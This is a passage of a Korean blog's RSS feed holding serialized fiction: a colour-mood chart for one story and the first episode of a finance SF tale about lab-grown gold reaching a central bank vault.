&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;제목&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;주요 색 키워드&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;색의 심리&amp;middot;역할 요약&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;1&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;옥상 위 첫 비행&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;자외선, 보라, 파랑&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;ldquo;색으로 태어난 눈&amp;rdquo;의 탄생, 인간이 못 보는 스펙트럼으로 세계를 처음 인식하는 장면.&amp;nbsp;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;2&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;행복의 색깔을 찾아서&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;레몬 옐로우, 노랑 선, 금빛&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지하철&amp;middot;공원&amp;middot;병원에서 발견한 다양한 행복의 얼굴들: 관계 속에서 잠깐 켜지는 작은 기쁨.&amp;nbsp;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;3&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;난간 위 무채색&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;검푸른 잿빛, 바이올렛, 레드, 마젠타&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지영의 극단 직전 상태: 우울&amp;middot;성장통&amp;middot;분노&amp;middot;고독이 섞인 복합적인 위기 색.&amp;nbsp;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;4&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;우울의 꽃밭&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;잿빛 회색, 블루, 그린, 지친 마젠타&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;도시 전역의 우울과 불안의 스펙트럼, 공감의 부담이 루멘에게 달라붙는 에피소드.&amp;nbsp;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;5&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;빛을 섞는 법&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃의 바이올렛&amp;middot;옐로우, 오렌지, 옅은 옐로우&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃꿀과 인간 감정 빛을 섞어 &amp;lsquo;조금 더 따뜻한 색&amp;rsquo;을 만드는 실험, 작은 친절이 색을 미세하게 바꾸는 장면.&amp;nbsp;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;6&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(중간 연결용, 생략 가능)&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;터쿼이즈, 연한 블루&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;짧은 숨 돌림, 생각의 정리와 자각의 색으로 두 에피소드 사이 톤 조정용.&amp;nbsp;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;7&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;한 벌이 지킬 수 있는 밤&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;남색 밤, 짙은 바이올렛, 검푸른 잿빛, 희미한 옐로우&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;폭우 속 자살 직전의 밤, 지영의 선택이 비틀어지는 클라이맥스. 어둠 속에서 아주 미약하게 들어오는 희망의 색.&amp;nbsp;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;8&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아침의 미세한 차이&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;옅은 옐로우, 연한 그린, 옅은 바이올렛&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #333333;&quot;&gt;큰 변화는 없지만, 지영의 오라가 아주 조금 밝아진 아침. &amp;ldquo;세계는 쉽게 안 바뀌지만, 빛은 조금씩 움직인다&amp;rdquo;는 루멘의 인식.&amp;nbsp;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;정리해서 보면, 1부 전체 색 흐름은&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;ldquo;자외선/탄생 &amp;rarr; 레몬&amp;middot;노랑/행복 &amp;rarr; 잿빛&amp;middot;바이올렛/우울 &amp;rarr; (꽃꿀 섞기) &amp;rarr; 남색 밤의 위기 &amp;rarr; 옅은 옐로우 아침의 미세한 회복&amp;rdquo;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/223</guid>
      <comments>https://thepin.tistory.com/223#entry223comment</comments>
      <pubDate>Sun, 22 Mar 2026 17:03:15 +0900</pubDate>
    </item>
    <item>
      <title>1화  지하 금고의 시간 . 연금술 이후의 금 .N003</title>
      <link>https://thepin.tistory.com/222</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Generated Image March 08, 2026 - 6_12PM.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boQhhC/dJMcaaYKQEM/YnPKbXUQK8wpN8qsJLqlR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boQhhC/dJMcaaYKQEM/YnPKbXUQK8wpN8qsJLqlR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boQhhC/dJMcaaYKQEM/YnPKbXUQK8wpN8qsJLqlR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboQhhC%2FdJMcaaYKQEM%2FYnPKbXUQK8wpN8qsJLqlR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;583&quot; height=&quot;583&quot; data-filename=&quot;Generated Image March 08, 2026 - 6_12PM.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1화 &amp;ndash; 지하 금고의 시간&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지하로 내려갈수록 공기가 점점 더 차가워졌다.&lt;br /&gt;엘리베이터 문이 열리자, 차가운 공기와 함께 금속과 콘크리트 냄새가 한꺼번에 밀려들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;중앙은행 금고에 오신 걸 환영합니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 습관처럼 그렇게 말해 놓고, 스스로도 조금 웃음이 나왔다. 이미 수십 번 했던 안내 멘트였고, 오늘 따라 견학을 온 사람도 없었다. 엘리베이터 안에는 그와 최신형 보안 로봇 하나뿐이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로봇의 광학 센서가 그를 향해 한 번 깜박였다. 인식 완료, 출입 허용.&lt;br /&gt;민서는 출입카드를 터치하고, 금고 구역으로 이어지는 무거운 철문 앞으로 걸음을 옮겼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문이 열리는 동안, 그는 잠깐 눈을 감았다.&lt;br /&gt;매번 문이 열릴 때 들리는 낮고 둔탁한 쇳소리가, 이상할 정도로 마음을 가라앉히곤 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;살짝 비현실적인 소리였다.&lt;br /&gt;위층에서는 오늘도 주가지수, 환율, 채권금리가 실시간으로 변하는 차트가 화면을 가득 채우고 있을 텐데,&lt;br /&gt;이 아래층에는, 마치 시간 자체가 느려진 것 같은 이 소리만 존재했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;철문이 완전히 열렸을 때, 익숙한 풍경이 눈앞에 펼쳐졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4층 높이의 천장 밑, 규칙적으로 늘어선 선반들.&lt;br /&gt;선반마다 일정 수의 금괴가 수평으로 정갈하게 쌓여 있었고, 각 금괴의 옆면에는 작은 숫자가 음각으로 찍혀 있었다.&lt;br /&gt;중량, 순도, 출처, 연도.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 가볍게 숨을 들이마셨다.&lt;br /&gt;언제나 이 풍경을 볼 때면, 조금은 무대 뒤편에 들어온 역할 배우가 된 기분이 들었다.&lt;br /&gt;뉴스에서 &amp;ldquo;국가의 신뢰를 뒷받침하는 금 준비자산&amp;rdquo;이라고 부르는 것들이, 실제로는 이렇게 고요하고 차갑게 누워 있다는 걸 제대로 아는 사람은 많지 않을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;오늘도 잘 계시네요. 선생님들.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;말을 건다고 해서 금괴가 대답해 줄 리는 없었지만, 민서는 습관처럼 중얼거렸다.&lt;br /&gt;금은 말을 하지 않지만, 대신 숫자로 말한다.&lt;br /&gt;그게 그의 일의 전부이기도 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 태블릿을 켜고, 오늘 점검해야 할 랙 번호를 확인했다.&lt;br /&gt;최근 몇 년 사이 들어온 금괴들이 모여 있는 구역이었다.&lt;br /&gt;한 켠에는 몇 년 전, 근지구 소행성에서 가져온 첫 공식 귀금속 샘플도 조그맣게 자리 잡고 있었다.&lt;br /&gt;중량으로 치면 아무 것도 아닌 양이었지만, 언론은 그걸 두고 한참이나 &amp;ldquo;우주 금 시대의 개막&amp;rdquo;이라고 떠들어댔었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그 작은 바를 지나치면서, 잠깐 발걸음을 멈췄다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빛깔만 놓고 보면, 여기 있는 다른 금괴들과 차이를 찾기 어려웠다.&lt;br /&gt;태양계 초창기 먼지에서 뭉쳐진 것이든, 지구 깊은 곳에서 열수 작용으로 농축된 것이든, 아니면 로켓으로 실어온 소행성 조각이든.&lt;br /&gt;결국 인간이 보는 건 색, 무게, 숫자뿐이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래도 사람들은 &amp;lsquo;우주 금&amp;rsquo;이라면 눈이 반짝이지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 혼잣말을 하며 미소를 지었다.&lt;br /&gt;경제학자라는 직업을 가지고도, 이런 감성에서 완전히 자유롭지는 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그가 이곳에서 일하기로 마음먹었던 것도, 사실은 아주 실용적인 이유만은 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대학에서 통화정책과 금본위제도를 공부하던 시절, 교수는 칠판에 오래된 금화 그림을 그려놓고 말했다.&lt;br /&gt;&amp;ldquo;사람들은 금 자체를 믿은 게 아니라, 금을 둘러싼 합의를 믿은 겁니다. 그래도 금은 그 합의가 금속이라는 형태로 남아 있는 드문 사례죠.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그 말을 듣고, 언젠가 실제 금괴를 눈으로 보는 일을 해 보고 싶다고 생각했다.&lt;br /&gt;그리고 지금, 그는 매일 이 금고를 출근처럼 드나들고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태블릿의 체크리스트를 따라 몇 개의 선반을 훑고 나면, 자동으로 시스템이 재고와 수치를 비교해 준다.&lt;br /&gt;위반, 이상 없음.&lt;br /&gt;숫자만 놓고 보면 완벽한 질서였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는, 숫자 이면의 이야기가 조금씩 달라지고 있다는 데 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금고 끝 쪽, 비교적 최근에 들어온 랙 쪽에는 전통적인 광석 채굴이 아닌, 재활용 금속에서 정련한 금괴들도 섞여 있었다.&lt;br /&gt;인류가 쓰고 버린 전자제품에서 다시 추출한 금이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 선반 앞에 잠시 서서, 가장 오래된 금괴들이 모여 있는 쪽을 바라봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 중 일부는, 책에서만 읽었던 시대를 직접 통과해온 금괴들이었다.&lt;br /&gt;전쟁이 나자 국경을 넘나들며 몰래 옮겨지던 금, 어느 정권이 무너질 때 비밀스럽게 외국으로 빠져나갔다가 다시 돌아온 금,&lt;br /&gt;외환위기 때 시민들이 결혼반지와 금목걸이를 모아 바꿔치기 했다는 기사 속의 금.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그때마다 뉴스는 비슷한 그래프를 보여줬다.&lt;br /&gt;전쟁, 쿠데타, 증시 폭락, 통화가치 붕괴&amp;hellip;&lt;br /&gt;위험한 단어들이 헤드라인을 장식할 때, 화면 한켠에서는 항상 금 시세 차트가 우상향으로 치솟고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;불안하면 사람들은 금을 샀지.&amp;rdquo;&lt;br /&gt;민서는 속으로 중얼거렸다. &amp;ldquo;집도, 주식도, 통화도 믿기 힘들어지면, 결국 이 황금색 덩어리 쪽으로 도망 왔어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그게 그가 금을 좋아한 이유이기도 했다.&lt;br /&gt;금은 단지 반짝이는 금속이 아니라, 불안의 시대를 견디기 위해 사람들이 쥐고 있던 마지막 손잡이였으니까.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 어제, 민서는 새로운 종류의 금괴 하나를 처음으로 보게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;랩-grown&amp;hellip;&amp;rdquo;&lt;br /&gt;그는 천천히 그 단어를 떠올렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;합성 다이아몬드처럼, &amp;ldquo;실험실에서 자라난 금&amp;rdquo;.&lt;br /&gt;어제는 그 테스트 샘플을 처리하는 회의가 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순도는 99.99%로 표기되어 있었고, 물리적&amp;middot;화학적 검증 결과만 놓고 보면 기존 금괴들과 구분이 되지 않았다.&lt;br /&gt;다만 바코드와 데이터베이스 상에서, 그 금괴 옆에는 작은 태그가 붙어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;Origin: Lab-Created&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금고에 들어온 첫 번째 합성 금괴.&amp;rdquo;&lt;br /&gt;민서는 어제 그걸 보며, 자기도 모르게 그렇게 생각했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 중앙은행은 아직 그 금괴를 공식 준비자산으로 인정하지 않았다.&lt;br /&gt;지금 단계에선 단지 실험용 샘플, 그리고 미래 검토를 위한 참고 자료.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 번호가 부여되고, 리스트에 올라가고, 무게와 순도가 기록되는 순간부터,&lt;br /&gt;그 금괴는 어느 정도까지는 이 시스템의 언어를 배운 셈이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 발걸음을 돌려, 오늘 확인 대상이 아닌 랙 쪽으로 몇 걸음 더 걸어갔다.&lt;br /&gt;합성 금 시제품이 보관된 작은 칸막이가 가까워졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선반 위, 조명 아래에서 금괴는 다른 금들과 다를 바 없이 빛났다.&lt;br /&gt;표면의 미세한 스크래치까지 완벽하게 정련된, 반듯한 직육면체.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 옆에는 출처 코드가 짧게 적혀 있었다.&lt;br /&gt;&amp;lsquo;LG-01&amp;rsquo;. Lab-Grown 1호.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;처음 본 건데, 이상하게 안 어색하네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 속으로 생각했다.&lt;br /&gt;&amp;ldquo;돌이켜 보면, 처음 카드 결제를 할 때도 현금이랑 느낌이 달랐어야 하는데, 금방 익숙해졌지. 아마 이것도 그런 식으로 스며들겠지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 다른 한편으로, 마음 한 구석에서 느릿한 저항감이 올라왔다.&lt;br /&gt;이곳에 있는 금괴들은, 전부 수십 년, 길게는 수십 세대에 걸친 긴 이야기를 품고 있다.&lt;br /&gt;전쟁과 외교, 무역과 위기, 국부의 축적과 유출.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 이 조그만 직육면체는, 불과 몇 달 전에 실험실에서 &amp;ldquo;제조&amp;rdquo;되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역사가 너무 짧았다.&lt;br /&gt;그 사실이 민서에게 이상하게 걸렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;역사가 짧다는 게 왜 문제지?&amp;rdquo;&lt;br /&gt;그는 스스로에게 물었다.&lt;br /&gt;&amp;ldquo;우리가 믿는 건 결국 현재의 신뢰, 현재의 담보력일 뿐인데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경제학자 모드의 민서는 그렇게 답하려 했다.&lt;br /&gt;하지만 이곳에서, 금괴들 사이를 걸을 때만큼은, 그는 자신이 조금 더 감성적인 인간이라는 사실을 인정할 수밖에 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태블릿이 진동을 울렸다.&lt;br /&gt;새로운 메일 알림.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 금괴에서 시선을 떼고 화면을 열어 보았다.&lt;br /&gt;제목은 간단했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Confidential] Lab-Grown Gold Production Cost Curve &amp;ndash; Internal Review Draft&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보낸 사람은 본부 리서치국.&lt;br /&gt;참조에는 통화정책국, 국제국, 그리고 그가 속한 자산운용국이 나란히 올려져 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 메일을 열었다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;최근 민간 연구기관 A사에서 발표한 랩그로운 금 파일럿 플랜트 결과를 분석한 내부 보고서 초안입니다.&lt;br /&gt;생산 단가 추이와 기존 광산 채굴 비용 비교 그래프를 첨부하오니, 준비자산 전략 검토에 참고하시기 바랍니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크롤을 내리자, 익숙한 모양의 그래프가 눈에 들어왔다.&lt;br /&gt;두 개의 곡선.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나는 전통적인 금광 채굴의 평균 비용을 나타낸 완만한 선.&lt;br /&gt;다른 하나는 랩그로운 금 공정의 예상 생산 단가를 나타낸, 가파르게 내려가는 선.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 선은 아직은 멀리 떨어져 있었지만, 어딘가에서 반드시 만날 것처럼 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 숨을 천천히 들이쉬었다.&lt;br /&gt;이 그래프가 의미하는 바를 이해하는 데는, 복잡한 수학이 필요하지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;희소성의 이론적 붕괴 시점.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;누군가 보고서 안에서 그렇게 표현해 두었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 눈을 떼지 못한 채, 그래프를 좀 더 확대했다.&lt;br /&gt;당장 내년이나 내후년 이야기는 아니었다.&lt;br /&gt;하지만 보고서 작성자의 보수적인 가정을 고려해도, &amp;ldquo;우리 세대 안&amp;rdquo;이라는 사실이 선명했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위층에서 들려오는 알람 소리가 아주 희미하게 바닥을 울렸다.&lt;br /&gt;어디선가 또 환율이 튀고, 주가지수가 흔들리고 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 잠시 그래프를 닫고, 다시 주변을 둘러보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금괴들은 아무 말도 하지 않았다.&lt;br /&gt;수백 년 동안 그래 왔듯, 침묵 속에서 반사된 빛만 흘려보낼 뿐이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;당신들의 시대가&amp;hellip; 정말로 끝날 수도 있겠네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 거의 들리지 않을 정도로 낮게 중얼거렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얼마 전까지만 해도, 금값의 등락은 그저 그래프 위의 움직임이었다.&lt;br /&gt;하지만 지금, 그 그래프 뒤에 &amp;ldquo;생산 기술의 변화&amp;rdquo;라는 실체가 붙기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;합성 다이아몬드가 등장하고, 천연 다이아몬드 가격이 흔들리기 시작했을 때 업계 사람들이 느꼈을 감정이 조금은 이해됐다.&lt;br /&gt;&amp;lsquo;진짜&amp;rsquo;와 &amp;lsquo;가짜&amp;rsquo;의 경계가 무너지는 순간, 사람들은 무엇을 붙들어야 할까.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 태블릿을 끄고 다시 출입문 쪽으로 향했다.&lt;br /&gt;지하 금고의 공기가 처음 내려올 때보다 더 차갑게 느껴졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엘리베이터 버튼을 누르고 기다리는 동안, 그는 방금 본 그래프를 머릿속에서 다시 그려 보았다.&lt;br /&gt;하나는 천천히 오르거나 유지되는 선.&lt;br /&gt;다른 하나는 기술 발전과 함께 내려가는 선.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;저게 만나는 날, 세상은 얼마나 달라져 있을까.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문이 열렸다.&lt;br /&gt;그가 올라탈 층은 지상 1층, 통화정책국과 자산운용국이 함께 있는 층이었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;206&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rbWYs/dJMcacvxo4X/PQih9oM7y9CI9AfkJKk9hK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rbWYs/dJMcacvxo4X/PQih9oM7y9CI9AfkJKk9hK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rbWYs/dJMcacvxo4X/PQih9oM7y9CI9AfkJKk9hK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrbWYs%2FdJMcacvxo4X%2FPQih9oM7y9CI9AfkJKk9hK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;583&quot; height=&quot;583&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;206&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다음 글 : &lt;a href=&quot;https://thepin.tistory.com/221&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/221&lt;/a&gt;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>경제소설</category>
      <category>금융SF</category>
      <category>금의희소성</category>
      <category>랩그로운골드</category>
      <category>연금술이후의금</category>
      <category>위기와안전자산</category>
      <category>중앙은행</category>
      <category>지하금고</category>
      <category>한국SF</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/222</guid>
      <comments>https://thepin.tistory.com/222#entry222comment</comments>
      <pubDate>Sun, 8 Mar 2026 18:24:11 +0900</pubDate>
    </item>
    <item>
      <title>2화  그래프와 사람들 . 연금술 이후의 금 .N003</title>
      <link>https://thepin.tistory.com/221</link>
      <description>&lt;p data-ke-size=&quot;size14&quot;&gt;이전 글 : &lt;a href=&quot;https://thepin.tistory.com/222&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/222&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Generated Image March 08, 2026 - 6_08PM (1).png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2OGXq/dJMcaiibAMy/pWwqkp2dwZzEBWZkUr7kP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2OGXq/dJMcaiibAMy/pWwqkp2dwZzEBWZkUr7kP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2OGXq/dJMcaiibAMy/pWwqkp2dwZzEBWZkUr7kP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2OGXq%2FdJMcaiibAMy%2FpWwqkp2dwZzEBWZkUr7kP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 